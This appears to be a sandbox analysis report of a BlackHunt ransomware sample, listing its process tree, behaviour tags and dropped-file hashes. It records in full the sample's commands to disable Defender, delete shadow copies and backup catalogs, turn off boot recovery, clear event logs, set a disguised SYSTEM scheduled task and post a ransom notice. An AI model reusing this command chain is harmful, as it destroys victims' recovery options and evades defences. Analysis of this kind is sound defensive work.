                                                        • C:\Windows\system32\reg.exe
                                                          reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
                                                          3⤵
                                                            PID:2000
                                                        • C:\Windows\System32\cmd.exe
                                                          "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
                                                          2⤵
                                                            PID:1388
                                                            • C:\Windows\system32\reg.exe
                                                              reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
                                                              3⤵
                                                                PID:1820
                                                            • C:\Windows\System32\cmd.exe
                                                              "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe" /F
                                                              2⤵
                                                                PID:1104
                                                                • C:\Windows\system32\schtasks.exe
                                                                  SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe" /F
                                                                  3⤵
                                                                  • Creates scheduled task(s)
                                                                  PID:2232
                                                              • C:\Windows\System32\cmd.exe
                                                                "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
                                                                2⤵
                                                                  PID:2844
                                                                • C:\Windows\System32\cmd.exe
                                                                  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
                                                                  2⤵
                                                                    PID:1760
                                                                  • C:\Windows\System32\cmd.exe
                                                                    "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
                                                                    2⤵
                                                                      PID:2784
                                                                    • C:\Windows\System32\cmd.exe
                                                                      "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
                                                                      2⤵
                                                                        PID:2968
                                                                      • C:\Windows\System32\cmd.exe
                                                                        "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
                                                                        2⤵
                                                                          PID:2872
                                                                        • C:\Windows\System32\cmd.exe
                                                                          "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
                                                                          2⤵
                                                                            PID:2816
                                                                          • C:\Windows\System32\cmd.exe
                                                                            "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
                                                                            2⤵
                                                                              PID:2624
                                                                            • C:\Windows\System32\cmd.exe
                                                                              "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
                                                                              2⤵
                                                                                PID:2548
                                                                              • C:\Windows\System32\cmd.exe
                                                                                "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
                                                                                2⤵
                                                                                  PID:2964
                                                                                • C:\Windows\System32\cmd.exe
                                                                                  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
                                                                                  2⤵
                                                                                    PID:2796
                                                                                  • C:\Windows\System32\cmd.exe
                                                                                    "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
                                                                                    2⤵
                                                                                      PID:2136
                                                                                      • C:\Windows\system32\schtasks.exe
                                                                                        schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
                                                                                        3⤵
                                                                                          PID:2636
                                                                                      • C:\Windows\System32\cmd.exe
                                                                                        "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
                                                                                        2⤵
                                                                                          PID:2268
                                                                                          • C:\Windows\system32\wbadmin.exe
                                                                                            wbadmin.exe delete catalog -quiet
                                                                                            3⤵
                                                                                            • Modifies Windows Defender Real-time Protection settings
                                                                                            • Deletes backup catalog
                                                                                            PID:2036
                                                                                        • C:\Windows\System32\cmd.exe
                                                                                          "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
                                                                                          2⤵
                                                                                            PID:1648
                                                                                          • C:\Windows\System32\cmd.exe
                                                                                            "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
                                                                                            2⤵
                                                                                              PID:3064
                                                                                            • C:\Windows\System32\cmd.exe
                                                                                              "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
                                                                                              2⤵
                                                                                                PID:1796
                                                                                              • C:\Windows\System32\cmd.exe
                                                                                                "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
                                                                                                2⤵
                                                                                                  PID:952
                                                                                                • C:\Windows\System32\cmd.exe
                                                                                                  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
                                                                                                  2⤵
                                                                                                    PID:292
                                                                                                  • C:\Windows\System32\cmd.exe
                                                                                                    "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
                                                                                                    2⤵
                                                                                                      PID:1268
                                                                                                    • C:\Windows\System32\cmd.exe
                                                                                                      "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
                                                                                                      2⤵
                                                                                                        PID:1868
                                                                                                      • C:\Windows\System32\cmd.exe
                                                                                                        "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
                                                                                                        2⤵
                                                                                                          PID:1604
                                                                                                        • C:\Windows\System32\cmd.exe
                                                                                                          "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D F:\
                                                                                                          2⤵
                                                                                                            PID:1032
                                                                                                            • C:\Windows\system32\fsutil.exe
                                                                                                              fsutil usn deletejournal /D F:\
                                                                                                              3⤵
                                                                                                              • Enumerates connected drives
                                                                                                              PID:2592
                                                                                                          • C:\Windows\System32\cmd.exe
                                                                                                            "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D C:\
                                                                                                            2⤵
                                                                                                              PID:2476
                                                                                                              • C:\Windows\system32\fsutil.exe
                                                                                                                fsutil usn deletejournal /D C:\
                                                                                                                3⤵
                                                                                                                  PID:216
                                                                                                              • C:\Windows\System32\cmd.exe
                                                                                                                "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D M:\
                                                                                                                2⤵
                                                                                                                  PID:2072
                                                                                                                  • C:\Windows\system32\fsutil.exe
                                                                                                                    fsutil usn deletejournal /D M:\
                                                                                                                    3⤵
                                                                                                                    • Enumerates connected drives
                                                                                                                    PID:1728
                                                                                                                • C:\Windows\System32\cmd.exe
                                                                                                                  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Setup
                                                                                                                  2⤵
                                                                                                                    PID:2424
                                                                                                                    • C:\Windows\system32\wevtutil.exe
                                                                                                                      wevtutil.exe cl Setup
                                                                                                                      3⤵
                                                                                                                      • Clears Windows event logs
                                                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                                                      PID:1708
                                                                                                                  • C:\Windows\System32\cmd.exe
                                                                                                                    "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl System
                                                                                                                    2⤵
                                                                                                                      PID:1720
                                                                                                                      • C:\Windows\system32\wevtutil.exe
                                                                                                                        wevtutil.exe cl System
                                                                                                                        3⤵
                                                                                                                        • Clears Windows event logs
                                                                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                                                                        PID:2812
                                                                                                                    • C:\Windows\System32\cmd.exe
                                                                                                                      "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Application
                                                                                                                      2⤵
                                                                                                                        PID:1688
                                                                                                                        • C:\Windows\system32\wevtutil.exe
                                                                                                                          wevtutil.exe cl Application
                                                                                                                          3⤵
                                                                                                                          • Clears Windows event logs
                                                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                                                          PID:932
                                                                                                                      • C:\Windows\System32\cmd.exe
                                                                                                                        "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security
                                                                                                                        2⤵
                                                                                                                          PID:2776
                                                                                                                          • C:\Windows\system32\wevtutil.exe
                                                                                                                            wevtutil.exe cl Security
                                                                                                                            3⤵
                                                                                                                            • Clears Windows event logs
                                                                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                                                                            PID:1540
                                                                                                                        • C:\Windows\System32\cmd.exe
                                                                                                                          "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security /e:false
                                                                                                                          2⤵
                                                                                                                            PID:1588
                                                                                                                            • C:\Windows\system32\wevtutil.exe
                                                                                                                              wevtutil.exe cl Security /e:false
                                                                                                                              3⤵
                                                                                                                              • Clears Windows event logs
                                                                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                                                                              PID:2232
                                                                                                                          • C:\Windows\System32\cmd.exe
                                                                                                                            "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
                                                                                                                            2⤵
                                                                                                                              PID:2000
                                                                                                                              • C:\Windows\system32\vssadmin.exe
                                                                                                                                vssadmin.exe Delete Shadows /all /quiet
                                                                                                                                3⤵
                                                                                                                                • Interacts with shadow copies
                                                                                                                                PID:236
                                                                                                                            • C:\Windows\System32\cmd.exe
                                                                                                                              "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
                                                                                                                              2⤵
                                                                                                                                PID:2800
                                                                                                                                • C:\Windows\system32\bcdedit.exe
                                                                                                                                  bcdedit /set {default} recoveryenabled No
                                                                                                                                  3⤵
                                                                                                                                  • Modifies boot configuration data using bcdedit
                                                                                                                                  PID:2832
                                                                                                                              • C:\Windows\System32\cmd.exe
                                                                                                                                "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
                                                                                                                                2⤵
                                                                                                                                  PID:2336
                                                                                                                                  • C:\Windows\system32\bcdedit.exe
                                                                                                                                    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
                                                                                                                                    3⤵
                                                                                                                                    • Modifies boot configuration data using bcdedit
                                                                                                                                    PID:1552
                                                                                                                                • C:\Windows\System32\cmd.exe
                                                                                                                                  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
                                                                                                                                  2⤵
                                                                                                                                    PID:2880
                                                                                                                                    • C:\Windows\system32\fsutil.exe
                                                                                                                                      fsutil.exe usn deletejournal /D C:
                                                                                                                                      3⤵
                                                                                                                                      • Deletes NTFS Change Journal
                                                                                                                                      PID:1936
                                                                                                                                  • C:\Windows\System32\cmd.exe
                                                                                                                                    "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
                                                                                                                                    2⤵
                                                                                                                                      PID:2704
                                                                                                                                      • C:\Windows\system32\wbadmin.exe
                                                                                                                                        wbadmin.exe delete catalog -quiet
                                                                                                                                        3⤵
                                                                                                                                        • Deletes backup catalog
                                                                                                                                        PID:628
                                                                                                                                    • C:\Windows\System32\cmd.exe
                                                                                                                                      "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
                                                                                                                                      2⤵
                                                                                                                                        PID:1988
                                                                                                                                        • C:\Windows\system32\schtasks.exe
                                                                                                                                          schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
                                                                                                                                          3⤵
                                                                                                                                            PID:1112
                                                                                                                                        • C:\Windows\System32\cmd.exe
                                                                                                                                          "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
                                                                                                                                          2⤵
                                                                                                                                            PID:2828
                                                                                                                                            • C:\Windows\system32\reg.exe
                                                                                                                                              REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
                                                                                                                                              3⤵
                                                                                                                                                PID:3036
                                                                                                                                            • C:\Windows\System32\cmd.exe
                                                                                                                                              "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
                                                                                                                                              2⤵
                                                                                                                                                PID:2556
                                                                                                                                                • C:\Windows\system32\reg.exe
                                                                                                                                                  REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
                                                                                                                                                  3⤵
                                                                                                                                                    PID:556
                                                                                                                                                • C:\Windows\System32\cmd.exe
                                                                                                                                                  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
                                                                                                                                                  2⤵
                                                                                                                                                    PID:1700
                                                                                                                                                    • C:\Windows\system32\schtasks.exe
                                                                                                                                                      SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
                                                                                                                                                      3⤵
                                                                                                                                                        PID:1376
                                                                                                                                                    • C:\Windows\System32\cmd.exe
                                                                                                                                                      "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
                                                                                                                                                      2⤵
                                                                                                                                                        PID:2720
                                                                                                                                                        • C:\Windows\system32\reg.exe
                                                                                                                                                          reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
                                                                                                                                                          3⤵
                                                                                                                                                            PID:916
                                                                                                                                                        • C:\Windows\System32\cmd.exe
                                                                                                                                                          "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
                                                                                                                                                          2⤵
                                                                                                                                                            PID:2168
                                                                                                                                                            • C:\Windows\system32\reg.exe
                                                                                                                                                              reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
                                                                                                                                                              3⤵
                                                                                                                                                                PID:2980
                                                                                                                                                            • C:\Windows\System32\cmd.exe
                                                                                                                                                              "C:\Windows\System32\cmd.exe" /c taskkill /IM mshta.exe /f
                                                                                                                                                              2⤵
                                                                                                                                                                PID:2732
                                                                                                                                                                • C:\Windows\system32\taskkill.exe
                                                                                                                                                                  taskkill /IM mshta.exe /f
                                                                                                                                                                  3⤵
                                                                                                                                                                  • Kills process with taskkill
                                                                                                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                  PID:2460
                                                                                                                                                              • C:\Windows\System32\cmd.exe
                                                                                                                                                                "C:\Windows\System32\cmd.exe" /c notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
                                                                                                                                                                2⤵
                                                                                                                                                                  PID:2188
                                                                                                                                                                  • C:\Windows\system32\notepad.exe
                                                                                                                                                                    notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
                                                                                                                                                                    3⤵
                                                                                                                                                                      PID:2548
                                                                                                                                                                  • C:\Windows\System32\cmd.exe
                                                                                                                                                                    "C:\Windows\System32\cmd.exe" /c C:\ProgramData\#BlackHunt_ReadMe.hta
                                                                                                                                                                    2⤵
                                                                                                                                                                      PID:1856
                                                                                                                                                                      • C:\Windows\SysWOW64\mshta.exe
                                                                                                                                                                        "C:\Windows\SysWOW64\mshta.exe" "C:\ProgramData\#BlackHunt_ReadMe.hta"
                                                                                                                                                                        3⤵
                                                                                                                                                                        • Suspicious behavior: CmdExeWriteProcessMemorySpam
                                                                                                                                                                        PID:564
                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                      "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 5 > nul & del "C:\Users\Admin\AppData\Local\Temp\29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe"
                                                                                                                                                                      2⤵
                                                                                                                                                                      • Deletes itself
                                                                                                                                                                      PID:2132
                                                                                                                                                                      • C:\Windows\SysWOW64\PING.EXE
                                                                                                                                                                        ping 127.0.0.1 -n 5
                                                                                                                                                                        3⤵
                                                                                                                                                                        • Runs ping.exe
                                                                                                                                                                        PID:1872
                                                                                                                                                                  • C:\Windows\system32\reg.exe
                                                                                                                                                                    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
                                                                                                                                                                    1⤵
                                                                                                                                                                      PID:2072
                                                                                                                                                                    • C:\Windows\system32\reg.exe
                                                                                                                                                                      reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
                                                                                                                                                                      1⤵
                                                                                                                                                                        PID:2228
                                                                                                                                                                      • C:\Windows\system32\reg.exe
                                                                                                                                                                        reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
                                                                                                                                                                        1⤵
                                                                                                                                                                          PID:2236
                                                                                                                                                                        • C:\Windows\system32\reg.exe
                                                                                                                                                                          reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
                                                                                                                                                                          1⤵
                                                                                                                                                                            PID:1476
                                                                                                                                                                          • C:\Windows\system32\reg.exe
                                                                                                                                                                            reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
                                                                                                                                                                            1⤵
                                                                                                                                                                              PID:984
                                                                                                                                                                            • C:\Windows\system32\reg.exe
                                                                                                                                                                              reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
                                                                                                                                                                              1⤵
                                                                                                                                                                                PID:2084
                                                                                                                                                                              • C:\Windows\system32\reg.exe
                                                                                                                                                                                reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
                                                                                                                                                                                1⤵
                                                                                                                                                                                  PID:2940
                                                                                                                                                                                • C:\Windows\system32\reg.exe
                                                                                                                                                                                  reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
                                                                                                                                                                                  1⤵
                                                                                                                                                                                    PID:2036
                                                                                                                                                                                  • C:\Windows\system32\reg.exe
                                                                                                                                                                                    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
                                                                                                                                                                                    1⤵
                                                                                                                                                                                      PID:2948
                                                                                                                                                                                    • C:\Windows\system32\reg.exe
                                                                                                                                                                                      reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
                                                                                                                                                                                      1⤵
                                                                                                                                                                                        PID:2928
                                                                                                                                                                                      • C:\Windows\system32\vssadmin.exe
                                                                                                                                                                                        vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
                                                                                                                                                                                        1⤵
                                                                                                                                                                                        • Enumerates connected drives
                                                                                                                                                                                        • Interacts with shadow copies
                                                                                                                                                                                        PID:612
                                                                                                                                                                                      • C:\Windows\system32\vssadmin.exe
                                                                                                                                                                                        vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
                                                                                                                                                                                        1⤵
                                                                                                                                                                                        • Interacts with shadow copies
                                                                                                                                                                                        PID:880
                                                                                                                                                                                      • C:\Windows\system32\vssadmin.exe
                                                                                                                                                                                        vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
                                                                                                                                                                                        1⤵
                                                                                                                                                                                        • Interacts with shadow copies
                                                                                                                                                                                        PID:1732
                                                                                                                                                                                      • C:\Windows\system32\vssadmin.exe
                                                                                                                                                                                        vssadmin.exe Delete Shadows /all /quiet
                                                                                                                                                                                        1⤵
                                                                                                                                                                                        • Interacts with shadow copies
                                                                                                                                                                                        PID:2524
                                                                                                                                                                                      • C:\Windows\system32\bcdedit.exe
                                                                                                                                                                                        bcdedit /set {default} recoveryenabled No
                                                                                                                                                                                        1⤵
                                                                                                                                                                                        • Modifies boot configuration data using bcdedit
                                                                                                                                                                                        PID:1580
                                                                                                                                                                                      • C:\Windows\system32\fsutil.exe
                                                                                                                                                                                        fsutil.exe usn deletejournal /D C:
                                                                                                                                                                                        1⤵
                                                                                                                                                                                        • Deletes NTFS Change Journal
                                                                                                                                                                                        PID:1276
                                                                                                                                                                                      • C:\Windows\system32\bcdedit.exe
                                                                                                                                                                                        bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
                                                                                                                                                                                        1⤵
                                                                                                                                                                                        • Modifies boot configuration data using bcdedit
                                                                                                                                                                                        PID:2632
                                                                                                                                                                                      • C:\Windows\system32\vssadmin.exe
                                                                                                                                                                                        vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
                                                                                                                                                                                        1⤵
                                                                                                                                                                                        • Enumerates connected drives
                                                                                                                                                                                        • Interacts with shadow copies
                                                                                                                                                                                        PID:1172
                                                                                                                                                                                      • C:\Windows\system32\vssvc.exe
                                                                                                                                                                                        C:\Windows\system32\vssvc.exe
                                                                                                                                                                                        1⤵
                                                                                                                                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                        PID:2780
                                                                                                                                                                                      • C:\Windows\system32\wbengine.exe
                                                                                                                                                                                        "C:\Windows\system32\wbengine.exe"
                                                                                                                                                                                        1⤵
                                                                                                                                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                        PID:1468
                                                                                                                                                                                      • C:\Windows\System32\vdsldr.exe
                                                                                                                                                                                        C:\Windows\System32\vdsldr.exe -Embedding
                                                                                                                                                                                        1⤵
                                                                                                                                                                                          PID:2200
                                                                                                                                                                                        • C:\Windows\system32\wbem\WMIADAP.EXE
                                                                                                                                                                                          wmiadap.exe /F /T /R
                                                                                                                                                                                          1⤵
                                                                                                                                                                                            PID:1208
                                                                                                                                                                                          • C:\Windows\System32\vds.exe
                                                                                                                                                                                            C:\Windows\System32\vds.exe
                                                                                                                                                                                            1⤵
                                                                                                                                                                                              PID:2456

                                                                                                                                                                                            Network

                                                                                                                                                                                            MITRE ATT&CK Enterprise v15

                                                                                                                                                                                            Replay Monitor

                                                                                                                                                                                            Loading Replay Monitor...

                                                                                                                                                                                            Downloads

                                                                                                                                                                                            • C:\ProgramData\#BlackHunt_Private.key

                                                                                                                                                                                              Filesize

                                                                                                                                                                                              1KB

                                                                                                                                                                                              MD5

                                                                                                                                                                                              c9e665d5627e66ed7a691fff75db5944

                                                                                                                                                                                              SHA1

                                                                                                                                                                                              666617be062a42fca0b7fee7446310233fb0f9e8

                                                                                                                                                                                              SHA256

                                                                                                                                                                                              b2c789497eeba4da795dd9fe123d5fef40d0893e6f1d3ff3eac575d803c51b89

                                                                                                                                                                                              SHA512

                                                                                                                                                                                              078ad974b86d2f0f1722af003e620f6e72aa8cd547c6737f891298e545292d99b377ba1d68632f5f4b8a8198aaf229395d5e5000079cb0404ca5406f685dde02

                                                                                                                                                                                            • C:\ProgramData\#BlackHunt_ReadMe.hta

                                                                                                                                                                                              Filesize

                                                                                                                                                                                              12KB

                                                                                                                                                                                              MD5

                                                                                                                                                                                              2056fc760bd30fbe50e46f611e7c04a4

                                                                                                                                                                                              SHA1

                                                                                                                                                                                              06ff99625da06c4bfab1a4dc5d1bfbfea29ed6a8

                                                                                                                                                                                              SHA256

                                                                                                                                                                                              e7a2e750e1f1c403f51c6e23f3b9ab478bfe865241c6d410c1a33414409b2ed9

                                                                                                                                                                                              SHA512

                                                                                                                                                                                              10812290c3198f0c47e21f6d9725cd748401403ed1c13a844542ccd8d9c58ec7bdd4198b60171c42825a51a98cfbc63d3d4faca2da8188ad31e843d21dfc6c9c

                                                                                                                                                                                            • C:\ProgramData\#BlackHunt_ReadMe.txt

                                                                                                                                                                                              Filesize

                                                                                                                                                                                              684B

                                                                                                                                                                                              MD5

                                                                                                                                                                                              4b4fb88847e62f1dc70d16b9abd1f899

                                                                                                                                                                                              SHA1

                                                                                                                                                                                              d2b56f7076d5a0f61f3be89398552f5fb16ad057

                                                                                                                                                                                              SHA256

                                                                                                                                                                                              a13f0ab8241d5992788d1ebf884cb66234849ee4bcef431b2b1ef8728b67b12b

                                                                                                                                                                                              SHA512

                                                                                                                                                                                              9155956f248a3f2862a8fa7614bf8cca87a0423b2f555af9e08c9d3fe8838c436e40f96b97c2d568a605a599e2de746efaf10f9f27a21a94ae3bba4e997868a7